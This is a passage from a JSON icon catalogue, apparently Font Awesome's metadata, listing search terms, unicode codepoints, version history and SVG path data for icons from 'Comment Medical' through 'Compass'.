      "terms": [
        "advice",
        "bubble",
        "chat",
        "commenting",
        "conversation",
        "diagnose",
        "feedback",
        "message",
        "note",
        "notification",
        "prescription",
        "sms",
        "speech",
        "texting"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7f5",
    "label": "Comment Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zM224 160c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H288v48c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V272H176c-8.8 0-16-7.2-16-16V224c0-8.8 7.2-16 16-16h48V160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zM224 160c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H288v48c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V272H176c-8.8 0-16-7.2-16-16V224c0-8.8 7.2-16 16-16h48V160z"
      }
    },
    "free": ["solid"]
  },
  "comment-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4b3"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bubble",
        "cancel",
        "chat",
        "commenting",
        "conversation",
        "feedback",
        "message",
        "mute",
        "note",
        "notification",
        "quiet",
        "sms",
        "speech",
        "texting"
      ]
    },
    "styles": ["solid"],
    "unicode": "f4b3",
    "label": "Comment Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L512.9 376.7C552.2 340.2 576 292.3 576 240C576 125.1 461.4 32 320 32c-67.7 0-129.3 21.4-175.1 56.3L38.8 5.1zM64 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9c37 0 72.3-6.4 104-17.9L82.9 161.3C70.7 185.6 64 212.2 64 240z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L512.9 376.7C552.2 340.2 576 292.3 576 240C576 125.1 461.4 32 320 32c-67.7 0-129.3 21.4-175.1 56.3L38.8 5.1zM64 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9c37 0 72.3-6.4 104-17.9L82.9 161.3C70.7 185.6 64 212.2 64 240z"
      }
    },
    "free": ["solid"]
  },
  "comment-sms": {
    "aliases": {
      "names": ["sms"],
      "unicodes": {
        "secondary": ["10f7cd"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "chat",
        "conversation",
        "message",
        "mobile",
        "notification",
        "phone",
        "sms",
        "texting"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7cd",
    "label": "Comment Sms",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zM202.9 176.8c6.5-2.2 13.7 .1 17.9 5.6L256 229.3l35.2-46.9c4.1-5.5 11.3-7.8 17.9-5.6s10.9 8.3 10.9 15.2v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V240l-19.2 25.6c-3 4-7.8 6.4-12.8 6.4s-9.8-2.4-12.8-6.4L224 240v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-6.9 4.4-13 10.9-15.2zm173.1 38c0 .2 0 .4 0 .4c.1 .1 .6 .8 2.2 1.7c3.9 2.3 9.6 4.1 18.3 6.8l.6 .2c7.4 2.2 17.3 5.2 25.2 10.2c9.1 5.7 17.4 15.2 17.6 29.9c.2 15-7.6 26-17.8 32.3c-9.5 5.9-20.9 7.9-30.7 7.6c-12.2-.4-23.7-4.4-32.6-7.4l0 0 0 0c-1.4-.5-2.7-.9-4-1.4c-8.4-2.8-12.9-11.9-10.1-20.2s11.9-12.9 20.2-10.1c1.7 .6 3.3 1.1 4.9 1.6l0 0 0 0c9.1 3.1 15.6 5.3 22.6 5.5c5.3 .2 10-1 12.8-2.8c1.2-.8 1.8-1.5 2.1-2c.2-.4 .6-1.2 .6-2.7l0-.2c0-.7 0-1.4-2.7-3.1c-3.8-2.4-9.6-4.3-18-6.9l-1.2-.4c-7.2-2.2-16.7-5-24.3-9.6c-9-5.4-17.7-14.7-17.7-29.4c-.1-15.2 8.6-25.7 18.5-31.6c9.4-5.5 20.5-7.5 29.7-7.4c10 .2 19.7 2.3 27.9 4.4c8.5 2.3 13.6 11 11.3 19.6s-11 13.6-19.6 11.3c-7.3-1.9-14.1-3.3-20.1-3.4c-4.9-.1-9.8 1.1-12.9 2.9c-1.4 .8-2.1 1.6-2.4 2c-.2 .3-.4 .8-.4 1.9zm-272 0c0 .2 0 .4 0 .4c.1 .1 .6 .8 2.2 1.7c3.9 2.3 9.6 4.1 18.3 6.8l.6 .2c7.4 2.2 17.3 5.2 25.2 10.2c9.1 5.7 17.4 15.2 17.6 29.9c.2 15-7.6 26-17.8 32.3c-9.5 5.9-20.9 7.9-30.7 7.6c-12.3-.4-24.2-4.5-33.2-7.6l0 0 0 0c-1.3-.4-2.5-.8-3.6-1.2c-8.4-2.8-12.9-11.9-10.1-20.2s11.9-12.9 20.2-10.1c1.4 .5 2.8 .9 4.1 1.4l0 0 0 0c9.5 3.2 16.5 5.6 23.7 5.8c5.3 .2 10-1 12.8-2.8c1.2-.8 1.8-1.5 2.1-2c.2-.4 .6-1.2 .6-2.7l0-.2c0-.7 0-1.4-2.7-3.1c-3.8-2.4-9.6-4.3-18-6.9l-1.2-.4 0 0c-7.2-2.2-16.7-5-24.3-9.6C80.8 239 72.1 229.7 72 215c-.1-15.2 8.6-25.7 18.5-31.6c9.4-5.5 20.5-7.5 29.7-7.4c9.5 .1 22.2 2.1 31.1 4.4c8.5 2.3 13.6 11 11.3 19.6s-11 13.6-19.6 11.3c-6.6-1.8-16.8-3.3-23.3-3.4c-4.9-.1-9.8 1.1-12.9 2.9c-1.4 .8-2.1 1.6-2.4 2c-.2 .3-.4 .8-.4 1.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zM202.9 176.8c6.5-2.2 13.7 .1 17.9 5.6L256 229.3l35.2-46.9c4.1-5.5 11.3-7.8 17.9-5.6s10.9 8.3 10.9 15.2v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V240l-19.2 25.6c-3 4-7.8 6.4-12.8 6.4s-9.8-2.4-12.8-6.4L224 240v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-6.9 4.4-13 10.9-15.2zm173.1 38c0 .2 0 .4 0 .4c.1 .1 .6 .8 2.2 1.7c3.9 2.3 9.6 4.1 18.3 6.8l.6 .2c7.4 2.2 17.3 5.2 25.2 10.2c9.1 5.7 17.4 15.2 17.6 29.9c.2 15-7.6 26-17.8 32.3c-9.5 5.9-20.9 7.9-30.7 7.6c-12.2-.4-23.7-4.4-32.6-7.4l0 0 0 0c-1.4-.5-2.7-.9-4-1.4c-8.4-2.8-12.9-11.9-10.1-20.2s11.9-12.9 20.2-10.1c1.7 .6 3.3 1.1 4.9 1.6l0 0 0 0c9.1 3.1 15.6 5.3 22.6 5.5c5.3 .2 10-1 12.8-2.8c1.2-.8 1.8-1.5 2.1-2c.2-.4 .6-1.2 .6-2.7l0-.2c0-.7 0-1.4-2.7-3.1c-3.8-2.4-9.6-4.3-18-6.9l-1.2-.4c-7.2-2.2-16.7-5-24.3-9.6c-9-5.4-17.7-14.7-17.7-29.4c-.1-15.2 8.6-25.7 18.5-31.6c9.4-5.5 20.5-7.5 29.7-7.4c10 .2 19.7 2.3 27.9 4.4c8.5 2.3 13.6 11 11.3 19.6s-11 13.6-19.6 11.3c-7.3-1.9-14.1-3.3-20.1-3.4c-4.9-.1-9.8 1.1-12.9 2.9c-1.4 .8-2.1 1.6-2.4 2c-.2 .3-.4 .8-.4 1.9zm-272 0c0 .2 0 .4 0 .4c.1 .1 .6 .8 2.2 1.7c3.9 2.3 9.6 4.1 18.3 6.8l.6 .2c7.4 2.2 17.3 5.2 25.2 10.2c9.1 5.7 17.4 15.2 17.6 29.9c.2 15-7.6 26-17.8 32.3c-9.5 5.9-20.9 7.9-30.7 7.6c-12.3-.4-24.2-4.5-33.2-7.6l0 0 0 0c-1.3-.4-2.5-.8-3.6-1.2c-8.4-2.8-12.9-11.9-10.1-20.2s11.9-12.9 20.2-10.1c1.4 .5 2.8 .9 4.1 1.4l0 0 0 0c9.5 3.2 16.5 5.6 23.7 5.8c5.3 .2 10-1 12.8-2.8c1.2-.8 1.8-1.5 2.1-2c.2-.4 .6-1.2 .6-2.7l0-.2c0-.7 0-1.4-2.7-3.1c-3.8-2.4-9.6-4.3-18-6.9l-1.2-.4 0 0c-7.2-2.2-16.7-5-24.3-9.6C80.8 239 72.1 229.7 72 215c-.1-15.2 8.6-25.7 18.5-31.6c9.4-5.5 20.5-7.5 29.7-7.4c9.5 .1 22.2 2.1 31.1 4.4c8.5 2.3 13.6 11 11.3 19.6s-11 13.6-19.6 11.3c-6.6-1.8-16.8-3.3-23.3-3.4c-4.9-.1-9.8 1.1-12.9 2.9c-1.4 .8-2.1 1.6-2.4 2c-.2 .3-.4 .8-.4 1.9z"
      }
    },
    "free": ["solid"]
  },
  "comments": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5ea", "f0e6"],
        "secondary": ["10f086"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Two Speech Bubbles",
        "bubble",
        "chat",
        "commenting",
        "conversation",
        "feedback",
        "message",
        "note",
        "notification",
        "sms",
        "speech",
        "texting"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f086",
    "label": "Comments",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M208 352c114.9 0 208-78.8 208-176S322.9 0 208 0S0 78.8 0 176c0 38.6 14.7 74.3 39.6 103.4c-3.5 9.4-8.7 17.7-14.2 24.7c-4.8 6.2-9.7 11-13.3 14.3c-1.8 1.6-3.3 2.9-4.3 3.7c-.5 .4-.9 .7-1.1 .8l-.2 .2 0 0 0 0C1 327.2-1.4 334.4 .8 340.9S9.1 352 16 352c21.8 0 43.8-5.6 62.1-12.5c9.2-3.5 17.8-7.4 25.3-11.4C134.1 343.3 169.8 352 208 352zM448 176c0 112.3-99.1 196.9-216.5 207C255.8 457.4 336.4 512 432 512c38.2 0 73.9-8.7 104.7-23.9c7.5 4 16 7.9 25.2 11.4c18.3 6.9 40.3 12.5 62.1 12.5c6.9 0 13.1-4.5 15.2-11.1c2.1-6.6-.2-13.8-5.8-17.9l0 0 0 0-.2-.2c-.2-.2-.6-.4-1.1-.8c-1-.8-2.5-2-4.3-3.7c-3.6-3.3-8.5-8.1-13.3-14.3c-5.5-7-10.7-15.4-14.2-24.7c24.9-29 39.6-64.7 39.6-103.4c0-92.8-84.9-168.9-192.6-175.5c.4 5.1 .6 10.3 .6 15.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M208 352c114.9 0 208-78.8 208-176S322.9 0 208 0S0 78.8 0 176c0 38.6 14.7 74.3 39.6 103.4c-3.5 9.4-8.7 17.7-14.2 24.7c-4.8 6.2-9.7 11-13.3 14.3c-1.8 1.6-3.3 2.9-4.3 3.7c-.5 .4-.9 .7-1.1 .8l-.2 .2 0 0 0 0C1 327.2-1.4 334.4 .8 340.9S9.1 352 16 352c21.8 0 43.8-5.6 62.1-12.5c9.2-3.5 17.8-7.4 25.3-11.4C134.1 343.3 169.8 352 208 352zM448 176c0 112.3-99.1 196.9-216.5 207C255.8 457.4 336.4 512 432 512c38.2 0 73.9-8.7 104.7-23.9c7.5 4 16 7.9 25.2 11.4c18.3 6.9 40.3 12.5 62.1 12.5c6.9 0 13.1-4.5 15.2-11.1c2.1-6.6-.2-13.8-5.8-17.9l0 0 0 0-.2-.2c-.2-.2-.6-.4-1.1-.8c-1-.8-2.5-2-4.3-3.7c-3.6-3.3-8.5-8.1-13.3-14.3c-5.5-7-10.7-15.4-14.2-24.7c24.9-29 39.6-64.7 39.6-103.4c0-92.8-84.9-168.9-192.6-175.5c.4 5.1 .6 10.3 .6 15.5z"
      },
      "regular": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M88.2 309.1c9.8-18.3 6.8-40.8-7.5-55.8C59.4 230.9 48 204 48 176c0-63.5 63.8-128 160-128s160 64.5 160 128s-63.8 128-160 128c-13.1 0-25.8-1.3-37.8-3.6c-10.4-2-21.2-.6-30.7 4.2c-4.1 2.1-8.3 4.1-12.6 6c-16 7.2-32.9 13.5-49.9 18c2.8-4.6 5.4-9.1 7.9-13.6c1.1-1.9 2.2-3.9 3.2-5.9zM0 176c0 41.8 17.2 80.1 45.9 110.3c-.9 1.7-1.9 3.5-2.8 5.1c-10.3 18.4-22.3 36.5-36.6 52.1c-6.6 7-8.3 17.2-4.6 25.9C5.8 378.3 14.4 384 24 384c43 0 86.5-13.3 122.7-29.7c4.8-2.2 9.6-4.5 14.2-6.8c15.1 3 30.9 4.5 47.1 4.5c114.9 0 208-78.8 208-176S322.9 0 208 0S0 78.8 0 176zM432 480c16.2 0 31.9-1.6 47.1-4.5c4.6 2.3 9.4 4.6 14.2 6.8C529.5 498.7 573 512 616 512c9.6 0 18.2-5.7 22-14.5c3.8-8.8 2-19-4.6-25.9c-14.2-15.6-26.2-33.7-36.6-52.1c-.9-1.7-1.9-3.4-2.8-5.1C622.8 384.1 640 345.8 640 304c0-94.4-87.9-171.5-198.2-175.8c4.1 15.2 6.2 31.2 6.2 47.8l0 .6c87.2 6.7 144 67.5 144 127.4c0 28-11.4 54.9-32.7 77.2c-14.3 15-17.3 37.6-7.5 55.8c1.1 2 2.2 4 3.2 5.9c2.5 4.5 5.2 9 7.9 13.6c-17-4.5-33.9-10.7-49.9-18c-4.3-1.9-8.5-3.9-12.6-6c-9.5-4.8-20.3-6.2-30.7-4.2c-12.1 2.4-24.7 3.6-37.8 3.6c-61.7 0-110-26.5-136.8-62.3c-16 5.4-32.8 9.4-50 11.8C279 439.8 350 480 432 480z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M88.2 309.1c9.8-18.3 6.8-40.8-7.5-55.8C59.4 230.9 48 204 48 176c0-63.5 63.8-128 160-128s160 64.5 160 128s-63.8 128-160 128c-13.1 0-25.8-1.3-37.8-3.6c-10.4-2-21.2-.6-30.7 4.2c-4.1 2.1-8.3 4.1-12.6 6c-16 7.2-32.9 13.5-49.9 18c2.8-4.6 5.4-9.1 7.9-13.6c1.1-1.9 2.2-3.9 3.2-5.9zM0 176c0 41.8 17.2 80.1 45.9 110.3c-.9 1.7-1.9 3.5-2.8 5.1c-10.3 18.4-22.3 36.5-36.6 52.1c-6.6 7-8.3 17.2-4.6 25.9C5.8 378.3 14.4 384 24 384c43 0 86.5-13.3 122.7-29.7c4.8-2.2 9.6-4.5 14.2-6.8c15.1 3 30.9 4.5 47.1 4.5c114.9 0 208-78.8 208-176S322.9 0 208 0S0 78.8 0 176zM432 480c16.2 0 31.9-1.6 47.1-4.5c4.6 2.3 9.4 4.6 14.2 6.8C529.5 498.7 573 512 616 512c9.6 0 18.2-5.7 22-14.5c3.8-8.8 2-19-4.6-25.9c-14.2-15.6-26.2-33.7-36.6-52.1c-.9-1.7-1.9-3.4-2.8-5.1C622.8 384.1 640 345.8 640 304c0-94.4-87.9-171.5-198.2-175.8c4.1 15.2 6.2 31.2 6.2 47.8l0 .6c87.2 6.7 144 67.5 144 127.4c0 28-11.4 54.9-32.7 77.2c-14.3 15-17.3 37.6-7.5 55.8c1.1 2 2.2 4 3.2 5.9c2.5 4.5 5.2 9 7.9 13.6c-17-4.5-33.9-10.7-49.9-18c-4.3-1.9-8.5-3.9-12.6-6c-9.5-4.8-20.3-6.2-30.7-4.2c-12.1 2.4-24.7 3.6-37.8 3.6c-61.7 0-110-26.5-136.8-62.3c-16 5.4-32.8 9.4-50 11.8C279 439.8 350 480 432 480z"
      }
    },
    "free": ["regular", "solid"]
  },
  "comments-dollar": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f653"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bubble",
        "chat",
        "commenting",
        "conversation",
        "feedback",
        "message",
        "money",
        "note",
        "notification",
        "pay",
        "sms",
        "speech",
        "spend",
        "texting",
        "transfer"
      ]
    },
    "styles": ["solid"],
    "unicode": "f653",
    "label": "Comments Dollar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M416 176c0 97.2-93.1 176-208 176c-38.2 0-73.9-8.7-104.7-23.9c-7.5 4-16 7.9-25.2 11.4C59.8 346.4 37.8 352 16 352c-6.9 0-13.1-4.5-15.2-11.1s.2-13.8 5.8-17.9l0 0 0 0 .2-.2c.2-.2 .6-.4 1.1-.8c1-.8 2.5-2 4.3-3.7c3.6-3.3 8.5-8.1 13.3-14.3c5.5-7 10.7-15.4 14.2-24.7C14.7 250.3 0 214.6 0 176C0 78.8 93.1 0 208 0S416 78.8 416 176zM231.5 383C348.9 372.9 448 288.3 448 176c0-5.2-.2-10.4-.6-15.5C555.1 167.1 640 243.2 640 336c0 38.6-14.7 74.3-39.6 103.4c3.5 9.4 8.7 17.7 14.2 24.7c4.8 6.2 9.7 11 13.3 14.3c1.8 1.6 3.3 2.9 4.3 3.7c.5 .4 .9 .7 1.1 .8l.2 .2 0 0 0 0c5.6 4.1 7.9 11.3 5.8 17.9c-2.1 6.6-8.3 11.1-15.2 11.1c-21.8 0-43.8-5.6-62.1-12.5c-9.2-3.5-17.8-7.4-25.2-11.4C505.9 503.3 470.2 512 432 512c-95.6 0-176.2-54.6-200.5-129zM228 72c0-11-9-20-20-20s-20 9-20 20V86c-7.6 1.7-15.2 4.4-22.2 8.5c-13.9 8.3-25.9 22.8-25.8 43.9c.1 20.3 12 33.1 24.7 40.7c11 6.6 24.7 10.8 35.6 14l1.7 .5c12.6 3.8 21.8 6.8 28 10.7c5.1 3.2 5.8 5.4 5.9 8.2c.1 5-1.8 8-5.9 10.5c-5 3.1-12.9 5-21.4 4.7c-11.1-.4-21.5-3.9-35.1-8.5c-2.3-.8-4.7-1.6-7.2-2.4c-10.5-3.5-21.8 2.2-25.3 12.6s2.2 21.8 12.6 25.3c1.9 .6 4 1.3 6.1 2.1l0 0 0 0c8.3 2.9 17.9 6.2 28.2 8.4V280c0 11 9 20 20 20s20-9 20-20V266.2c8-1.7 16-4.5 23.2-9c14.3-8.9 25.1-24.1 24.8-45c-.3-20.3-11.7-33.4-24.6-41.6c-11.5-7.2-25.9-11.6-37.1-15l-.7-.2c-12.8-3.9-21.9-6.7-28.3-10.5c-5.2-3.1-5.3-4.9-5.3-6.7c0-3.7 1.4-6.5 6.2-9.3c5.4-3.2 13.6-5.1 21.5-5c9.6 .1 20.2 2.2 31.2 5.2c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-6.5-1.7-13.7-3.4-21.1-4.7V72z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M416 176c0 97.2-93.1 176-208 176c-38.2 0-73.9-8.7-104.7-23.9c-7.5 4-16 7.9-25.2 11.4C59.8 346.4 37.8 352 16 352c-6.9 0-13.1-4.5-15.2-11.1s.2-13.8 5.8-17.9l0 0 0 0 .2-.2c.2-.2 .6-.4 1.1-.8c1-.8 2.5-2 4.3-3.7c3.6-3.3 8.5-8.1 13.3-14.3c5.5-7 10.7-15.4 14.2-24.7C14.7 250.3 0 214.6 0 176C0 78.8 93.1 0 208 0S416 78.8 416 176zM231.5 383C348.9 372.9 448 288.3 448 176c0-5.2-.2-10.4-.6-15.5C555.1 167.1 640 243.2 640 336c0 38.6-14.7 74.3-39.6 103.4c3.5 9.4 8.7 17.7 14.2 24.7c4.8 6.2 9.7 11 13.3 14.3c1.8 1.6 3.3 2.9 4.3 3.7c.5 .4 .9 .7 1.1 .8l.2 .2 0 0 0 0c5.6 4.1 7.9 11.3 5.8 17.9c-2.1 6.6-8.3 11.1-15.2 11.1c-21.8 0-43.8-5.6-62.1-12.5c-9.2-3.5-17.8-7.4-25.2-11.4C505.9 503.3 470.2 512 432 512c-95.6 0-176.2-54.6-200.5-129zM228 72c0-11-9-20-20-20s-20 9-20 20V86c-7.6 1.7-15.2 4.4-22.2 8.5c-13.9 8.3-25.9 22.8-25.8 43.9c.1 20.3 12 33.1 24.7 40.7c11 6.6 24.7 10.8 35.6 14l1.7 .5c12.6 3.8 21.8 6.8 28 10.7c5.1 3.2 5.8 5.4 5.9 8.2c.1 5-1.8 8-5.9 10.5c-5 3.1-12.9 5-21.4 4.7c-11.1-.4-21.5-3.9-35.1-8.5c-2.3-.8-4.7-1.6-7.2-2.4c-10.5-3.5-21.8 2.2-25.3 12.6s2.2 21.8 12.6 25.3c1.9 .6 4 1.3 6.1 2.1l0 0 0 0c8.3 2.9 17.9 6.2 28.2 8.4V280c0 11 9 20 20 20s20-9 20-20V266.2c8-1.7 16-4.5 23.2-9c14.3-8.9 25.1-24.1 24.8-45c-.3-20.3-11.7-33.4-24.6-41.6c-11.5-7.2-25.9-11.6-37.1-15l-.7-.2c-12.8-3.9-21.9-6.7-28.3-10.5c-5.2-3.1-5.3-4.9-5.3-6.7c0-3.7 1.4-6.5 6.2-9.3c5.4-3.2 13.6-5.1 21.5-5c9.6 .1 20.2 2.2 31.2 5.2c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-6.5-1.7-13.7-3.4-21.1-4.7V72z"
      }
    },
    "free": ["solid"]
  },
  "compact-disc": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4bf", "1f4c0", "1f5b8"],
        "secondary": ["10f51f"]
      }
    },
    "changes": [
      "5.0.13",
      "5.10.1",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Optical Disc Icon",
        "album",
        "blu-ray",
        "bluray",
        "cd",
        "computer",
        "disc",
        "disk",
        "dvd",
        "media",
        "movie",
        "music",
        "optical",
        "optical disk",
        "record",
        "video",
        "vinyl"
      ]
    },
    "styles": ["solid"],
    "unicode": "f51f",
    "label": "Compact Disc",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 32a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm-96-32a96 96 0 1 0 192 0 96 96 0 1 0 -192 0zM96 240c0-35 17.5-71.1 45.2-98.8S205 96 240 96c8.8 0 16-7.2 16-16s-7.2-16-16-16c-45.4 0-89.2 22.3-121.5 54.5S64 194.6 64 240c0 8.8 7.2 16 16 16s16-7.2 16-16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 32a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm-96-32a96 96 0 1 0 192 0 96 96 0 1 0 -192 0zM96 240c0-35 17.5-71.1 45.2-98.8S205 96 240 96c8.8 0 16-7.2 16-16s-7.2-16-16-16c-45.4 0-89.2 22.3-121.5 54.5S64 194.6 64 240c0 8.8 7.2 16 16 16s16-7.2 16-16z"
      }
    },
    "free": ["solid"]
  },
  "compass": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9ed"],
        "secondary": ["10f14e"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.2.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "compass",
        "directions",
        "directory",
        "location",
        "magnetic",
        "menu",
        "navigation",
        "orienteering",
        "safari",
        "travel"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f14e",
    "label": "Compass",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm50.7-186.9L162.4 380.6c-19.4 7.5-38.5-11.6-31-31l55.5-144.3c3.3-8.5 9.9-15.1 18.4-18.4l144.3-55.5c19.4-7.5 38.5 11.6 31 31L325.1 306.7c-3.2 8.5-9.9 15.1-18.4 18.4zM288 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
